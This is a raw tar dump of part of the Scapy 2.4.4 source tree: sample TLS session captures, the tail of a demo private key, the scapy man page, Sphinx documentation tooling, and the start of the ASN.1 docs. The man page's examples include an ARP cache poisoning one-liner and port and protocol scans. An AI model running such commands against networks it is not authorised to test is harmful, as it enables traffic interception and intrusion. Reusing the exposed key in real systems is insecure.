lnB8jE5OFSDGeSKWmUwZS+KVzq8vy7Qylp9i6x4pElwGUeba6AqeZZ+jUUn/HzdB s2pO8YWqyOp/Zo/m8P+vPZN4fwKBgQDcNqJ4Dutt/i60E9kaktGQVQODRNMhYCEq E5fhwJiZ0E9FBeuKPKjo7dGIux3KPQPBv3T0zjmB+M5QERVe5/ID8iytgbHGlnsg 916iTN9rvi1Gk518vyFPsYjX9pPiQIayRBQKOXSYIkY+6rj2384XPRlZrN8D9n3Q +An1JXfdGwKBgDs3YjqpnD3i35S4BkMoLUl2x6rl5m4AGeJUp6ipc0CD+G57FXA/ aieZ5rec7qmbzOFxVLz6e03/Ipo5CEoQQTsjoF7V74SFHSyzQ2/SJao4aeCGT+52 83yhlah9sLO9bZShMep2tbvg+3RWrOQ+lMC0VRXCxE4QDtpGsjY7Jsk/AoGAPstV iOa4O6U/rBn8zpcPKxkS51u42MuQqW7s4HMLENFVyVjm0YR6pfEqztKMrB6584Wk 1Cn6PBW2vx4f+fAqEvX7x340M2y1r7DaS22gSBjy0C1Hu0rFNPRrESo/AUVlI3BG RqQbm0YqwcYs+DjZi8bgc7HX5kljlzMjo8QLagECgYA1DHAWv4WVrHt4I8V4ZCth 9DZEtEOFpYjuoFh/xSIMZLsnvWRuyYVWcQwAqmK0Ew4m5opHFsQzABeGLVsK5aHX zmbYiRUuZGVpyc7c5XXomw50X8ajfQ+P21OPPc33h96cdHi2qbJIejZPia6A6ThU u13D93hAM6bzH6Ds5FPUQw== -----END PRIVATE KEY----- scapy-2.4.4/doc/notebooks/tls/raw_data/tls_session_13/000077500000000000000000000000001372370053500226515ustar00rootroot00000000000000scapy-2.4.4/doc/notebooks/tls/raw_data/tls_session_13/01_cli.raw000066400000000000000000000002631372370053500244340ustar00rootroot00000000000000®ªÙé‰ö=C­¾d¢cO c¼Ü@£å&¼:`Bà[U\{ serverÿ (&$ ï©Mõ­Í!“yÕ£}¼är’”årÆeëv8[+ -scapy-2.4.4/doc/notebooks/tls/raw_data/tls_session_13/02_srv.raw000066400000000000000000000000231372370053500244720ustar00rootroot00000000000000 (scapy-2.4.4/doc/notebooks/tls/raw_data/tls_session_13/03_cli.raw000066400000000000000000000003241372370053500244340ustar00rootroot00000000000000ÏËÙé‰ö=C­¾d¢cO c¼Ü@£å&¼:`Bà[U\œ serverÿ (GEAZx_TûÛB“„54¥ÀºntKªhFг/Nž£’'$ *Û ðqøçýŒ£;v«áÍUoÓèþ àý.‚ùi+ -scapy-2.4.4/doc/notebooks/tls/raw_data/tls_session_13/04_srv.raw000066400000000000000000000001701372370053500244770ustar00rootroot00000000000000so–ÿi0uØFVQ©Â‡sõIeB k£›œ™uEÙ¡&fI(EAŠM Íå¼U¹¤CÁimÅBŸú–ùÍJ†:Ç‚ñYðr´ö!]†@}×6‹uJ²æO,?E|&N+£kscapy-2.4.4/doc/notebooks/tls/raw_data/tls_session_13/05_srv.raw000066400000000000000000000012251372370053500245020ustar00rootroot00000000000000ÞOÏ×ÚEsÕpYBñJåiªš¬ÉR`Rotò²­j¾{S¤”ùBžÓ›ou×üµºÖýÔ÷ÿJöY GÁÙ1á¡ã yõ1ŒkŸyÖà£s‚×€¨ùÃýøGH@Ͷ~ICÓ€Š'Í]“uÇf©^ôƒ“Â5Ø:Òj b†qy?uߪ ç‹þÒeÑšv2­ÀCw„™CYï^E& 56pFLöü%.Tnyr8Ç;”°sFX0x˜‘|2ÜÎeŠSy fs—÷tGu¾ùµ÷Õg{.Wþ|KýCÇ­äoÔÃÓÃÀ_èw_RcéŠi+I¨Ðö˜DÁÛ/BŸ¨Ÿ¶R3˜áÐ+ÅÓqFÀó&-Ë‚ƒG?+mUMùBDZ ”Dz¿1¨÷ÿwñ×Û‡=»nFF¬«úsãLæ!*4iõIæÍç²)¦ò ¬Ú`ƒ+Qc¢=Ç4½^q°O²HÊGº {Òî›]†æ±¦¢¡¤>81!õA4Éd†Ñó_t–—…i‡àª\ 1¿1•ìUC¯Šoûq°©…– ÁÌÜìî–i‘qé~®Rj P«o&.D1®špÿ.×½–nö½Ecõjz— Ê¿—®~CTÛ¢uHÅ\T*Ð{ÍoG§;†ÄægŒçÜmQ¡·uhvDÖRnú<†OY(ç·ùñ»À.Ø‚æ`²@´^ëùGPip0q"÷ȨÖÀÚ¢dÆ1ƒ#r¬¸hyú¹ºŠg2È›†B9M·Xó+¡˜‚Ê×;$û 9°¼Â•Ï‚)u)?B +M@ŒVl­º4…±@yqx·¥»”÷µA•î|ë yhYï˳ú>xîgLzÝà™ïÚçï² ]¾€ !ƒ,DÛ]*v)¥°#ˆtT"Ö)z’õo-žçø&+œXe£o0m0 U00 Uà0U¡+ pÒk€åe¼ëˆŸt­Ýö0U#0€fS”ôѽgh°Q725ᤪÞ|0U% 0 +0  *†H†÷  ‚ˆ’sk“ç•ÖÝA£HX§A5?{}Ð7˜¸,”wÈQ6@­Y (ÈVÖê[¬´Ø?h·fÊáV7©eêQÉì²iI]ùãÀíaTɟư sUèU5`ï6ðÚÑwV¸«8î÷ Å¥˜#êÛ2(«›…K•ç7Q{H.û>R£ ´F©’:× XJú.Q)Ƹ1sñ'ˆÊÈi úƒÍ³y°¸›/:- ãüð:ný6;+ *è«_Œ@ä²¼÷ƒgnN“ê"¯ÿ£šwWvÐ 8¬øŠ”5Ž×ÔaÌÿ$´a#ºˆ×Yäéº*NµœÐê‘ÙÞ«scapy-2.4.4/doc/notebooks/tls/raw_data/tls_session_compromised/03_cli.raw000066400000000000000000000005061372370053500265340ustar00rootroot00000000000000w“ìúóß[š4§žÍ=Hñ9ŒS÷µhöÕ I×ðÅZöàf7•‘ÝNCç$õÚZÍGØÊV˜Ä²Œmå1@›œ¸­ulÐßò×@QäJó1[ßÈ'(#ðÄÆG³27…­¢¦¢E…rP¸†uL\7‚ÎhÆÑô̹VN…9c’ –Ž€ä ¿u<«gP^zÇýŽt^·ÇLrÜ5ø§Ûœ½Õ­«P<çŸ%f´Øôð~™¾Zé¼ 9 ²Uqüd¤Ú‰Ṉ̃ͩc´èRH½áÒØœ¶Òq9å ëü¬«–§ý{ßò Ö'¸Ó¥LÈ ¹ÌNåð SóÃÉßîÐ Ø[0~á!2ºÈ ¶Œ·Ùõ€$Z^È£Ÿ³ñM Ñíd±'äERÉ÷Ló;Áºzú·6ãqscapy-2.4.4/doc/notebooks/tls/raw_data/tls_session_compromised/04_srv.raw000066400000000000000000000003521372370053500265770ustar00rootroot00000000000000ª¦  *õ.4:ä;tðvíêLX¥Î*@çƒ Wx­WkM-•ç˜Ë6xëÊþ8õ„*›AmZ/o9°3ê™ýQ¿e èWÕÛ݃ÆïsÿÂUΰ|홺cûMÎÓ’¾˜•ï›±Ö, 6TdÉj*¹Þº[¼Dš~é¢ó¤V3þÖ'Èi+°mø&†ƒªålOx ¾þÚ“-ŸkêHuŠì_0PcàT+\>мæXx}å¢6ê ­Y,îQÖê!.àóˆæ'jVýz]M'ÎjJscapy-2.4.4/doc/notebooks/tls/raw_data/tls_session_compromised/05_cli.raw000066400000000000000000000001721372370053500265350ustar00rootroot00000000000000 è‘'mRT¡Ö}+€Ú­w.‚TA'Þp¤á±H©±gwPÝDÛ‚pz·5>ש=C½ðF¡k å&òß—ð«5ô1W… ÏÙ˜¤èÌÿ ¼³UÈœ>Ä$¥UÆÔ"Îð˜ðDÒ *™*Üd4?É ¦²%üscapy-2.4.4/doc/notebooks/tls/raw_data/tls_session_protected/000077500000000000000000000000001372370053500244175ustar00rootroot00000000000000scapy-2.4.4/doc/notebooks/tls/raw_data/tls_session_protected/01_cli.raw000066400000000000000000000003321372370053500261770ustar00rootroot00000000000000ÕÑòMÃ|ÛÃ<µJ 5ÅÎ 2ØìÑø"BœWÐvÀ+À/À À ÀÀ39/5 ’camo.githubusercontent.comÿ  #3t)'h2-16h2-15h2-14h2spdy/3.1http/1.1 scapy-2.4.4/doc/notebooks/tls/raw_data/tls_session_protected/02_srv.raw000066400000000000000000000001311372370053500262400ustar00rootroot00000000000000TPFnâ —g·o¶›½Ý1€@ªQ+Â,"‚èÅ,èÀ/(ÿ # http/1.1scapy-2.4.4/doc/notebooks/tls/raw_data/tls_session_protected/03_srv.raw000066400000000000000000000051721372370053500262530ustar00rootroot00000000000000 u q n³0‚¯0‚— z]Ã6#ù‰þT÷øo>d0  *†H†÷  0p1 0 UUS10U  DigiCert Inc10U www.digicert.com1/0-U&DigiCert SHA2 High Assurance Server CA0 160120000000Z 170406120000Z0j1 0 UUS10U California10U San Francisco10U  Fastly, Inc.10Uwww.github.com0‚"0  *†H†÷ ‚0‚ ‚ûÕ” àPÜü·qGŸ,Þš¼*ÔòŸFùòÑ´#¥*Òß‘?ùÅв@½Ö¼@v.Ø 7zWïã¢ÀaFú³7 f|!þ/^.Yþc':óísøMt³Quší kÍèÁêʬuù)ðKPAdHlöÀg}ÈêÞHy—A·Fö^M¥Ù†×hQ¬>%®'±G4¸‹ÞoyAÖ’)€Ä\ lj»Ð üÒ–x¶ÔR@Sop@Ú‰)O ~£ìÅW­ª‘íC\ùõ[è¡ð¾mÎ-«C|pÜ?ìÉðtÉ)¡PÐ<)8ÜV¹ø¤^ŸÎÝ£‚I0‚E0U#0€Qhÿ¯u<ÌÙedb¢¸Yr;0Ud¿D³F ›ÏZqI¢r‹ˆ4„#0{Ut0r‚www.github.com‚ *.github.com‚ github.com‚ *.github.io‚ github.io‚*.githubusercontent.com‚githubusercontent.com0Uÿ 0U%0++0uUn0l04 2 0†.http://crl3.digicert.com/sha2-ha-server-g5.crl04 2 0†.http://crl4.digicert.com/sha2-ha-server-g5.crl0LU E0C07 `†H†ýl0*0(+https://www.digicert.com/CPS0g 0ƒ+w0u0$+0†http://ocsp.digicert.com0M+0†Ahttp://cacerts.digicert.com/DigiCertSHA2HighAssuranceServerCA.crt0 Uÿ00  *†H†÷  ‚OÑtø>£~÷¯Ïú¶Ý§ˆžø!­|(¹´ÿgйâO}´¼U€$ŒåfP¸¸(Ù´•Ìb²‡|Ï^SHùÂø Ü–â7ÏAÇuf §MîªÀêÔDf ¬pcúͯ‰ŠÛj|z°k¨Å´…ØS“EÊr>¤Ôã¢8J‚ðóUðm²1l9¿îãåÍ@ ÐéeÚÖLAÿ[¯B¯ò±F¡¬Xü)€ËöZ¦¯ò6“ß’q©5ã:XP«::|Ù÷yƒž þ,Y+$Z<µÒ ÚE¸áÀhöLúâv[ÎþÐË%ù›Ë©ÿUó=_En2 $Ž·¥vo ‡éµ0‚±0‚™ áç¤Ü\òómÀ+B¸]Ÿ0  *†H†÷  0l1 0 UUS10U  DigiCert Inc10U www.digicert.com1+0)U"DigiCert High Assurance EV Root CA0 131022120000Z 281022120000Z0p1 0 UUS10U  DigiCert Inc10U www.digicert.com1/0-U&DigiCert SHA2 High Assurance Server CA0‚"0  *†H†÷ ‚0‚ ‚¶à/Â$Èm_×ï d²}"&e®B@›ÎÜŸŸv>Ã0U‡¹O”Z”UV´Â*¯Ð˜î @×ÄÐ;rȞﱩ®ÒȸC:Ù ÕÕ•õ@¯ÈíMœ_W·†Ph™õŠÚÒǨ—Éܤ±‚„-Æ­¥œÇ‚¦…^DX*7ý5ñ '2Zõ»‹ž¤½QÐ'âÝ;B3£(Ä»(Ìš¬+# xÆ{æ^q·J>û·¡#Må×’¬u¤œºÍ²D5eS%9Ñ šc’th 7ÂÂRHË9Z¢¶á]ÁÝ  ¸!¢“&oJ!AÇím›òH/óõ¢h’S/^㣂I0‚E0Uÿ0ÿ0Uÿ†0U%0++04+(0&0$+0†http://ocsp.digicert.com0KUD0B0@ > <†:http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=U 60402U 0*0(+https://www.digicert.com/CPS0UQhÿ¯u<ÌÙedb¢¸Yr;0U#0€±>Ãiø¿GÔ˜&ïcd+Ã0  *†H†÷  ‚Š•‰æmß\ühêJƒÖQ/kDž¬cõÒnl„™‹ªq„[í4N°·y’)Ì-€jðŽ áy¤þGêõ†ÊYq}ô–kÓYX=þÓ1%\8„£æŸ‚ýŒ[˜1NÍxžý…ËIªò'‹™rü>ªÕA ÚÕ6¡¿nGI^ÙH|Ùý‹I ˜&B@ëÖ’¤d WTÄõÖ^k¬îÄ€šrúV“×ÿ¿0…0¿ NÿW$í…Ã+û¦u¨¬-ï}y'²ë ꪅÓ£ (AYC(Òãªöì{;w¶@b€AEï>ÞÀ3›gÓa.r‡äiüW@põÉ´scapy-2.4.4/doc/notebooks/tls/raw_data/tls_session_protected/04_srv.raw000066400000000000000000000014771372370053500262600ustar00rootroot00000000000000ßÛ×0‚Ó  ‚Ì0‚È +0‚¹0‚µ0ž¢Qhÿ¯u<ÌÙedb¢¸Yr;20160914121000Z0s0q0I0 +Ï&õúÉ~Œ³Bà/jžŽ_ Qhÿ¯u<ÌÙedb¢¸Yr;z]Ã6#ù‰þT÷øo>d€20160914121000Z 20160921112500Z0  *†H†÷  ‚ïùUˆ¬@lönC/õ¼[XiÙU¾'Ó·õ» رTwœ2¬ˆº˜ä¡3ôÜêó¬Xä,Eõ©ÃôB-Nà‰D[¾ Âhšrý'.È,íƒÂð‰_ŒÃ犭¤–ĨȖ%X€•_È2;m騹ãaN&äÕŠÄw7 Ã~űM~TžöøsTgb_çÀ4´£Òæ¦ÄqjÈÔljÝe™ÙçÑô0Pïö$îúdôëÈ÷ RL‹¥xäR2éÂüB h“÷p4hëƒÈˆ!ÃW”WGþ3C0qE&A™¨}Ú"©OºW_W­oð`g7»$‘oìݽž‹büM IAÃDË…?dUžgÉØ€N|F˜ Aßg¢û_zä›öóL‚KJ8—;: deuµŸªü¬b­VXuyŠQ”‘÷£#o.³Kíe~0û¯’ûýY˜n$®öJ;m7ú;ÈG¦}{¥ŵ†Z§1† -§/q‰+Ç$»ò È`»t[jŸƒˆÀÏ4fu1Ãê:B ÆÉjP - t)e¾ªoå@ÒÌ¥‰mRyúpc~¦„€¼4´BË’†­ö`9jðŽeÀ|ýÛÞ!ÎHœû…#Ÿ·ÌT–à þt-ØyUsçm”¼]~™Ó“û\ü@BwÎènÔÌåµ@jIQÏubÏ¢ÞÊU³ ‹ÛY SÇ ØBPþX!”€íuøM§rÃôÖ·™Ñ=’2ù Ÿç“2`15ïscapy-2.4.4/doc/notebooks/tls/raw_data/tls_session_protected/05_cli.raw000066400000000000000000000001761372370053500262110ustar00rootroot00000000000000FBAÒΩvØ›NáƒUŒÕaå_ŒTö©'aHH@ ÔD€1’ó•©Wü·Jæj»¬†® +չ܆[ç(ÙË,ŒMý¼9ªóÓóZŠ-Ç^ÁŽMÿ}GòŒ« =scapy-2.4.4/doc/notebooks/tls/raw_data/tls_session_protected/06_srv.raw000066400000000000000000000004021372370053500262450ustar00rootroot00000000000000ÊÆ°ÀcÌwJÛ,B.v#Ý©®SS ·(^ í ®M Nº´Š4d…ˆ iNÉѾ¬âWbÉNó…¿·j¤IBŠä8%×R34 hÌBjµ úÁf ?fÄ_q9áB8´}»°üGò &˜Ëüöôë™! ]âÙ-JäÛK¡åð ßX ³ ùû}Ù hW1üDJ,¦#°(&ýPŠ%ëÂÝØ¢/½$Ãûó†£ÎOŸýS|'ȦeW½o*yó.Ï(Øm’ 5YZ:7\)`ª`fÍ©v£*ìguD¨‡$<7+ ”9–úscapy-2.4.4/doc/notebooks/tls/raw_data/tls_session_protected/07_cli.raw000066400000000000000000000007731372370053500262160ustar00rootroot00000000000000ö?iy \ÐÔžG¿£kþ=îΠ%%c}öÔû¦ðö Oœ‘© ˆJàz”ÊTëÇ­j ƹ¹<„V«üåÚÖGõ·òI6‹ÉÄaÓêtü›ú猪³ÎІG›÷Þ±‹wM“¢gS>ó—ñCBûsÿƒù‹À]½€Mn3ÿ©ó)'ÃSÈÍ:¾×2B~$²;ë+¤½©AÙ ‡éâ邃MQònß³;0Ý&R·‰éOØG7øfÇÓÉ0RƒóÔdèÅäN(k7ð·½³›†ºC.Ðgɱú¾Ût±u/VÆ@ÿ¨nèÐÖn,ÉÂØg.l´) 9ùçƒ-èøÿy¿÷æÅõšG³e Ø5…HêÂnR¾ïï“ç*>½„‹9HDIÄ$ššKˆKi £«í‘Íè±Ô޼EˆèÕíg>ØB}‘ÑÚá—2CxtD…¯F|~7D9*U­ Ä#}ìÖÓ?y–¤µ£½ÉÉg±2É¡N ìÉvJ M§ÈhÐ|(1(£˜@nH ¨0·ZÔMÜ!AVâ§*ÃUîв£wáâ¾¾Ôu±¡z%7Ýù¹~ùs 1û;«ñ¯Œ¯ee5¬×]>Lb5Ž+nËÌEyÈscapy-2.4.4/doc/scapy.1000066400000000000000000000121361372370053500146160ustar00rootroot00000000000000.TH SCAPY 1 "May 8, 2018" .SH NAME scapy \- Interactive packet manipulation tool .SH SYNOPSIS .B scapy .RI [ options ] .SH DESCRIPTION This manual page documents briefly the .B Scapy tool. .PP \fBScapy\fP is a powerful interactive packet manipulation tool, packet generator, network scanner, network discovery, packet sniffer, etc. It can for the moment replace hping, parts of nmap, arpspoof, arp-sk, arping, tcpdump, tshark, p0f, ... .PP \fBScapy\fP uses the Python interpreter as a command board. That means that you can use directly Python language (assign variables, use loops, define functions, etc.) If you give a file a parameter when you run \fBScapy\fP, your session (variables, functions, instances, ...) will be saved when you leave the interpreter and restored the next time you launch \fBScapy\fP. .PP The idea is simple. Those kinds of tools do two things : sending packets and receiving answers. That's what \fBScapy\fP does : you define a set of packets, it sends them, receives answers, matches requests with answers and returns a list of packet couples (request, answer) and a list of unmatched packets. This has the big advantage over tools like nmap or hping that an answer is not reduced to (open/closed/filtered), but is the whole packet. .PP On top of this can be used to build more high-level functions, for example, one that does traceroutes and give as a result only the start TTL of the request and the source IP of the answer. One that pings a whole network and gives the list of machines answering. One that does a portscan and returns a LaTeX report. .SH OPTIONS Options for Scapy are: .TP \fB\-h\fR display usage .TP \fB\-d\fR increase log verbosity. Can be used many times. .TP \fB\-s\fR FILE use FILE to save/load session values (variables, functions, instances, ...) .TP \fB\-p\fR PRESTART_FILE use PRESTART_FILE instead of $HOME/.scapy_prestart.py as pre-startup file .TP \fB\-P\fR do not run prestart file .TP \fB\-c\fR STARTUP_FILE use STARTUP_FILE instead of $HOME/.scapy_startup.py as startup file .TP \fB\-C\fR do not run startup file .SH COMMANDS Only the vital commands to begin are listed here for the moment. .TP \fBls()\fR lists supported protocol layers. If a protocol layer is given as parameter, lists its fields and types of fields. If a string is given as parameter, it is used to filter the layers. .TP \fBexplore()\fR explores available protocols. Allows to look for a layer or protocol through an interactive GUI. If a Scapy module is given as parameter, explore this specific module. .TP \fBlsc()\fR lists scapy's main user commands. .TP \fBconf\fR this object contains the configuration. .SH FILES \fB$HOME/.scapy_prestart.py\fR This file is run before Scapy core is loaded. Only the \fBconf\fP object is available. This file can be used to manipulate \fBconf.load_layers\fP list to choose which layers will be loaded: .nf conf.load_layers.remove("bluetooth") conf.load_layers.append("new_layer") .fi \fB$HOME/.scapy_startup.py\fR This file is run after Scapy is loaded. It can be used to configure some of the Scapy behaviors: .nf conf.prog.pdfreader = "xpdf" split_layers(UDP,DNS) .fi .SH EXAMPLES More verbose examples are available in the documentation https://scapy.readthedocs.io/ Just run \fBscapy\fP and try the following commands in the interpreter. .LP Test the robustness of a network stack with invalid packets: .nf sr(IP(dst="172.16.1.1", ihl=2, options=["verb$2"], version=3)/ICMP(), timeout=2) .fi .LP Packet sniffing and dissection (with a bpf filter or tshark-like output): .nf a=sniff(filter="tcp port 110") a=sniff(prn = lambda x: x.display) .fi .LP Sniffed packet re-emission: .nf a=sniff(filter="tcp port 110") sendp(a) .fi .LP Pcap file packet re-emission: .nf sendp(rdpcap("file.cap")) .fi .LP Manual TCP traceroute: .nf sr(IP(dst="www.google.com", ttl=(1,30))/TCP(seq=RandInt(), sport=RandShort(), dport=dport) .fi .LP Protocol scan: .nf sr(IP(dst="172.16.1.28", proto=(1,254))) .fi .LP ARP ping: .nf srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="172.16.1.1/24")) .fi .LP ACK scan: .nf sr(IP(dst="172.16.1.28")/TCP(dport=(1,1024), flags="A")) .fi .LP Passive OS fingerprinting: .nf sniff(prn=prnp0f) .fi .LP Active OS fingerprinting: .nf nmap_fp("172.16.1.232") .fi .LP ARP cache poisoning: .nf sendp(Ether(dst=tmac)/ARP(op="who-has", psrc=victim, pdst=target)) .fi .LP Reporting: .nf report_ports("192.168.2.34", (20,30)) .fi .SH SEE ALSO .nf The official website: \fIhttps://scapy.net/\fP The GitHub Development repository: \fIhttps://github.com/secdev/scapy/\fP The official documentation: \fIhttps://scapy.readthedocs.io/en/latest/\fP .fi .SH BUGS Does not give the right source IP for routes that use interface aliases. May miss packets under heavy load. This is a restriction from python itself Session saving is limited by Python ability to marshal objects. As a consequence, lambda functions and generators can't be saved, which seriously reduce the usefulness of this feature. BPF filters don't work on Point-to-point interfaces. .SH AUTHOR Philippe Biondi .PP This manual page was written by Alberto Gonzalez Iniesta and Philippe Biondi. scapy-2.4.4/doc/scapy/000077500000000000000000000000001372370053500145315ustar00rootroot00000000000000scapy-2.4.4/doc/scapy/Makefile000066400000000000000000000011321372370053500161660ustar00rootroot00000000000000# Minimal makefile for Sphinx documentation # # You can set these variables from the command line. SPHINXOPTS = SPHINXBUILD = sphinx-build SPHINXPROJ = Scapy SOURCEDIR = . BUILDDIR = _build # Put it first so that "make" without argument is like "make help". help: @$(SPHINXBUILD) -M help "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O) .PHONY: help Makefile # Catch-all target: route all unknown targets to Sphinx using the new # "make mode" option. $(O) is meant as a shortcut for $(SPHINXOPTS). %: Makefile @$(SPHINXBUILD) -M $@ "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O)scapy-2.4.4/doc/scapy/README000066400000000000000000000013221372370053500154070ustar00rootroot00000000000000This folder includes source files (text and graphics) for Scapy's documentation, which is automatically built using Sphinx The *.rst files are written as reStructuredText and should be quite readable in your favourite text editor without any further formatting. To generate much nicer, searchable HTML docs, install Sphinx, open a command line, change to the directory where this README is placed, and type the following command: $ make html To generate a single PDF file (useful for printing) you need a working LaTeX installation (e.g. ). The following commands produce the file Scapy.pdf (>100 pages): $ make latex $ cd _build/latex $ make all-pdf scapy-2.4.4/doc/scapy/_ext/000077500000000000000000000000001372370053500154705ustar00rootroot00000000000000scapy-2.4.4/doc/scapy/_ext/scapy_doc.py000066400000000000000000000107571372370053500200200ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Gabriel Potter # This program is published under a GPLv2 license """ A Sphinx Extension for Scapy's doc preprocessing """ import subprocess import os from scapy.packet import Packet, _pkt_ls, rfc from sphinx.ext.autodoc import AttributeDocumenter # Utils def generate_rest_table(items): """ Generates a ReST table from a list of tuples """ lengths = [max(len(y) for y in x) for x in zip(*items)] sep = "+%s+" % "+".join("-" * x for x in lengths) sized = "|%s|" % "|".join("{:%ss}" % x for x in lengths) output = [] for i in items: output.append(sep) output.append(sized.format(*i)) output.append(sep) return output def tab(items): """ Tabulize a generator. """ for i in items: # Tabs are 3-wide in autodoc yield " " + i def class_ref(cls): """ Get Sphinx reference to a class """ return ":class:`~%s`" % ( cls.__module__ + '.' + cls.__name__ ) def get_fields_desc(obj): """ Create a readable documentation for fields_desc """ output = [] for value in _pkt_ls(obj): fname, cls, clsne, dflt, long_attrs = value output.append( ( "**%s**" % fname, class_ref(cls) + ((" " + clsne) if clsne else ""), "``%s``" % repr(dflt) ) ) if output: output = list( tab( generate_rest_table(output) ) ) # Add header output.insert(0, ".. table:: %s fields" % obj.__name__) output.insert(1, " :widths: grid") output.insert(2, " ") # Add RFC-like graph try: graph = list(tab(rfc(obj, ret=True).split("\n"))) except AttributeError: return output s = "Display RFC-like schema" graph.insert(0, ".. raw:: html") graph.insert(1, "") graph.insert(2, "
%s
" % s)
        graph.append("   
") graph.append("") return graph + output return output # Documenter class AttrsDocumenter(AttributeDocumenter): """ Mock of AttributeDocumenter to handle Scapy settings """ def add_directive_header(self, *args, **kwargs): def call_parent(): """Calls the super.super.add_directive_header""" super(AttributeDocumenter, self).add_directive_header( *args, **kwargs ) sourcename = self.get_sourcename() # Custom additions if issubclass(self.parent, Packet): # Packet if self.object_name == "fields_desc": # Display custom field table call_parent() table = list(tab(get_fields_desc(self.parent))) if table: self.add_line(" ", sourcename) for line in table: self.add_line(line, sourcename) self.add_line(" ", sourcename) return elif self.object_name == "payload_guess": # Display list of possible children call_parent() children = sorted(set(class_ref(x[1]) for x in self.object)) if children: lines = [ "", "Possible sublayers:", ", ".join(children), "" ] for line in tab(lines): self.add_line(line, sourcename) return elif self.object_name in ["aliastypes"]: # Ignore call_parent() return # The field is unknown: continue normally super(AttrsDocumenter, self).add_directive_header(*args, **kwargs) # Setup def builder_inited_handler(app): """Generate API tree""" if int(os.environ.get("SCAPY_APITREE", True)): subprocess.call(['tox', '-e', 'apitree']) def setup(app): """ Entry point of the scapy_doc extension. Called by sphinx while booting up. """ app.add_autodocumenter(AttrsDocumenter, override=True) app.connect('builder-inited', builder_inited_handler) # Dummy. We won't publish this return { 'version': '1.0', 'parallel_read_safe': True, 'parallel_write_safe': True, } scapy-2.4.4/doc/scapy/_static/000077500000000000000000000000001372370053500161575ustar00rootroot00000000000000scapy-2.4.4/doc/scapy/_static/_dummy000066400000000000000000000000001372370053500173620ustar00rootroot00000000000000scapy-2.4.4/doc/scapy/_templates/000077500000000000000000000000001372370053500166665ustar00rootroot00000000000000scapy-2.4.4/doc/scapy/_templates/_dummy000066400000000000000000000000001372370053500200710ustar00rootroot00000000000000scapy-2.4.4/doc/scapy/advanced_usage.rst000066400000000000000000001455531372370053500202310ustar00rootroot00000000000000************** Advanced usage ************** ASN.1 and SNMP ============== What is ASN.1? -------------- .. note:: This is only my view on ASN.1, explained as simply as possible. For more theoretical or academic views, I'm sure you'll find better on the Internet. ASN.1 is a notation whose goal is to specify formats for data exchange. It is independent of the way data is encoded. Data encoding is specified in Encoding Rules. The most used encoding rules are BER (Basic Encoding Rules) and DER (Distinguished Encoding Rules). Both look the same, but the latter is specified to guarantee uniqueness of encoding. This property is quite interesting when speaking about cryptography, hashes, and signatures. ASN.1 provides basic objects: integers, many kinds of strings, floats, booleans, containers, etc. They are grouped in the so-called Universal class. A given protocol can provide other objects which will be grouped in the Context class. For example, SNMP defines PDU_GET or PDU_SET objects. There are also the Application and Private classes. Each of these objects is given a tag that will be used by the encoding rules. Tags from 1 are used for Universal class. 1 is boolean, 2 is an integer, 3 is a bit string, 6 is an OID, 48 is for a sequence. Tags from the ``Context`` class begin at 0xa0. When encountering an object tagged by 0xa0, we'll need to know the context to be able to decode it. For example, in SNMP context, 0xa0 is a PDU_GET object, while in X509 context, it is a container for the certificate version. Other objects are created by assembling all those basic brick objects. The composition is done using sequences and arrays (sets) of previously defined or existing objects. The final object (an X509 certificate, a SNMP packet) is a tree whose non-leaf nodes are sequences and sets objects (or derived context objects), and whose leaf nodes are integers, strings, OID, etc. Scapy and ASN.1 --------------- Scapy provides a way to easily encode or decode ASN.1 and also program those encoders/decoders. It is quite laxer than what an ASN.1 parser should be, and it kind of ignores constraints. It won't replace neither an ASN.1 parser nor an ASN.1 compiler. Actually, it has been written to be able to encode and decode broken ASN.1. It can handle corrupted encoded strings and can also create those. ASN.1 engine ^^^^^^^^^^^^ Note: many of the classes definitions presented here use metaclasses. If you don't look precisely at the source code and you only rely on my captures, you may think they sometimes exhibit a kind of magic behavior. `` Scapy ASN.1 engine provides classes to link objects and their tags. They inherit from the ``ASN1_Class``. The first one is ``ASN1_Class_UNIVERSAL``, which provide tags for most Universal objects. Each new context (``SNMP``, ``X509``) will inherit from it and add its own objects. :: class ASN1_Class_UNIVERSAL(ASN1_Class): name = "UNIVERSAL" # [...] BOOLEAN = 1 INTEGER = 2 BIT_STRING = 3 # [...] class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL): name="SNMP" PDU_GET = 0xa0 PDU_NEXT = 0xa1 PDU_RESPONSE = 0xa2 class ASN1_Class_X509(ASN1_Class_UNIVERSAL): name="X509" CONT0 = 0xa0 CONT1 = 0xa1 # [...] All ASN.1 objects are represented by simple Python instances that act as nutshells for the raw values. The simple logic is handled by ``ASN1_Object`` whose they inherit from. Hence they are quite simple:: class ASN1_INTEGER(ASN1_Object): tag = ASN1_Class_UNIVERSAL.INTEGER class ASN1_STRING(ASN1_Object): tag = ASN1_Class_UNIVERSAL.STRING class ASN1_BIT_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.BIT_STRING These instances can be assembled to create an ASN.1 tree:: >>> x=ASN1_SEQUENCE([ASN1_INTEGER(7),ASN1_STRING("egg"),ASN1_SEQUENCE([ASN1_BOOLEAN(False)])]) >>> x , , ]]>]]> >>> x.show() # ASN1_SEQUENCE: # ASN1_SEQUENCE: Encoding engines ^^^^^^^^^^^^^^^^^ As with the standard, ASN.1 and encoding are independent. We have just seen how to create a compounded ASN.1 object. To encode or decode it, we need to choose an encoding rule. Scapy provides only BER for the moment (actually, it may be DER. DER looks like BER except only minimal encoding is authorised which may well be what I did). I call this an ASN.1 codec. Encoding and decoding are done using class methods provided by the codec. For example the ``BERcodec_INTEGER`` class provides a ``.enc()`` and a ``.dec()`` class methods that can convert between an encoded string and a value of their type. They all inherit from BERcodec_Object which is able to decode objects from any type:: >>> BERcodec_INTEGER.enc(7) '\x02\x01\x07' >>> BERcodec_BIT_STRING.enc("egg") '\x03\x03egg' >>> BERcodec_STRING.enc("egg") '\x04\x03egg' >>> BERcodec_STRING.dec('\x04\x03egg') (, '') >>> BERcodec_STRING.dec('\x03\x03egg') Traceback (most recent call last): File "", line 1, in ? File "/usr/bin/scapy", line 2099, in dec return 